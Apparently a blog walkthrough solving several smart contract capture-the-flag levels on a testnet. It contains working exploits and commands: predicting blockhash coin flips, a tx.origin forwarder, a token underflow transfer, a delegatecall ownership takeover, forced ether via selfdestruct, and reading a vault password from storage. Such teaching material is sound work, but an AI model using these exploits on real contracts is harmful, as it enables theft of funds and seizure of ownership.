Reliance on blockhash
for entropy is a notorious and long-adored footgun
amongst EVM smart contract developers. In this case the entire input state is
both deterministic and available to us ahead of time so all that's necessary is
to compute the correct result and only submit those.
We'll need a wrapper contract around the CoinFlip
contract. Let's call it Frontend
:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "src/CoinFlip.sol";
contract Frontend {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function step(CoinFlip flipper) public returns (uint256) {
require(
flipper.flip(
uint256(
blockhash(
block.number - 1
)
) / FACTOR == 1 ? true : false),
"not submitting incorrect guess"
);
return flipper.consecutiveWins();
}
}
Frontend::step
gives us a nice ratcheting primitive in that, CoinFlip::consecutiveWins()
is monotonically increasing in the number of calls to Frontend::step
. The outer require
guard asserts that we'll never violate our above invariant and lose our consecutive wins count.
Now we can just call this method with impunity until we satisfy the CoinFlip::consecutiveWins() == 10
condition for completion of the level.
My setup for completing this level was to use Remix to deploy and call the Frontend
contract and use cast
locally to check what my consecutiveWins
was. Once it hits ten we're ready to submit the level!
Another classic footgun of times yonder: the case of tx.origin != msg.sender
. The easiest way to induce this is to call from a smart contract rather than an EOA.
We'll need another wrapper contract — this time Forwarder
:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "contracts/Telephone.sol";
contract Forwarder {
address owner;
constructor() {
owner = msg.sender;
}
function execute(Telephone telephone) public onlyOwner {
telephone.changeOwner(msg.sender);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
After we call Forwarder::execute(OUR_EOA)
(from our EOA as well, obviously)
we're ready to submit the level!
This level is pretty straightforward; it's just regular arithmetic overflow. Note that the target contract for this level requires a relatively ancient version of Solidity. This is due to safe arithmetic finally landing in 0.8.0.
There are two steps to the attack:
This cast
workflow should work12 (I've added calls that verify the state of our balances):
$ cast send ADDRESS_OF_INSTANCE_LEVEL "transfer(address,uint256) returns (bool)" ADDRESS_B $(cast --max-uint)
$ cast --to-dec $(cast call ADDRESS_OF_INSTANCE_LEVEL "balanceOf(address) returns (uint256)" ADDRESS_A)
$ cast --to-dec $(cast call ADDRESS_OF_INSTANCE_LEVEL "balanceOf(address) returns (uint256)" ADDRESS_B)
$ cast send ADDRESS_OF_INSTANCE_LEVEL "transfer(address,uint256) returns (bool)" ADDRESS_A 1
$ cast --to-dec $(cast call ADDRESS_OF_INSTANCE_LEVEL "balanceOf(address) returns (uint256)" ADDRESS_A)
$ cast --to-dec $(cast call ADDRESS_OF_INSTANCE_LEVEL "balanceOf(address) returns (uint256)" ADDRESS_B)
Then we're ready to submit our level!
Another classic footgun: delegatecall
.
The obligation is Delegation::owner() == OUR_ADDRESS
. Fortunately, that's exactly what Delegate::pwn
does which means we'll need to go via Delegate
— which is exactly what delegatecall
allows us to do.
Note that it's quite likely that we'll need to provide a higher gas limit than gas simulation will yield by default3. With that being said, this should work12:
$ cast send --gas-limit 50000 ADDRESS_OF_INSTANCE_LEVEL "pwn()"
$ cast call ADDRESS_OF_INSTANCE_LEVEL "owner() returns (address)"
If the final call returns our address, we're ready to submit our level!
There's currently no way to prevent the receipt of Ether when initiated via the SELFDESTRUCT
opcode. The hints for this level also reference use of a separate smart contract.
Let's call our contract Nuke
4:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract Nuke {
function f(address payable receipient) public {
selfdestruct(receipient);
}
receive() external payable {}
}
Once Nuke
is deployed, the attack has two steps:
Nuke
(1 wei is optimal)Nuke::f
with the instance address
$ cast send NUKE_ADDRESS "f(address)" ADDRESS_OF_INSTANCE_LEVEL
$ cast balance ADDRESS_OF_INSTANCE_LEVEL
If the latest call returns a positive value, we're ready to submit the level!
This one's easy. On Ethereum (and most blockchains, at the moment anyway) everything onchain is public information — including the password for the vault!
$ cast storage ADDRESS_OF_INSTANCE_LEVEL 0
$ cast send ADDRESS_OF_INSTANCE_LEVEL "unlock(bytes32)" $(cast storage ADDRESS_OF_INSTANCE_LEVEL 1)
$ cast storage ADDRESS_OF_INSTANCE_LEVEL 0
You should see the locked
flag change from true
(i.e., 0x01
) to false
(i.e., 0x00
). Then, we're ready to submit the level!
1: For simplicity, I've ignored wallet-specific options here (they'll be relevant for cast send
usage). I used a Ledger so I just used the --ledger
flag.
2: I've also ignored chain-specific options here (presumably you're not doing this on mainnet). I did it on Sepolia, so I specified --chain sepolia
and also --rpc-url=https://rpc.sepolia.org
.
3: You could certainly calculate the minimum value that will satisfy this execution but the value here worked for me just by eyeballing.
4: The choice of Solidity 0.8.17 specifically is due to SELFDESTRUCT
's deprecation. In versions after this the compiler will omit a deprecation warning.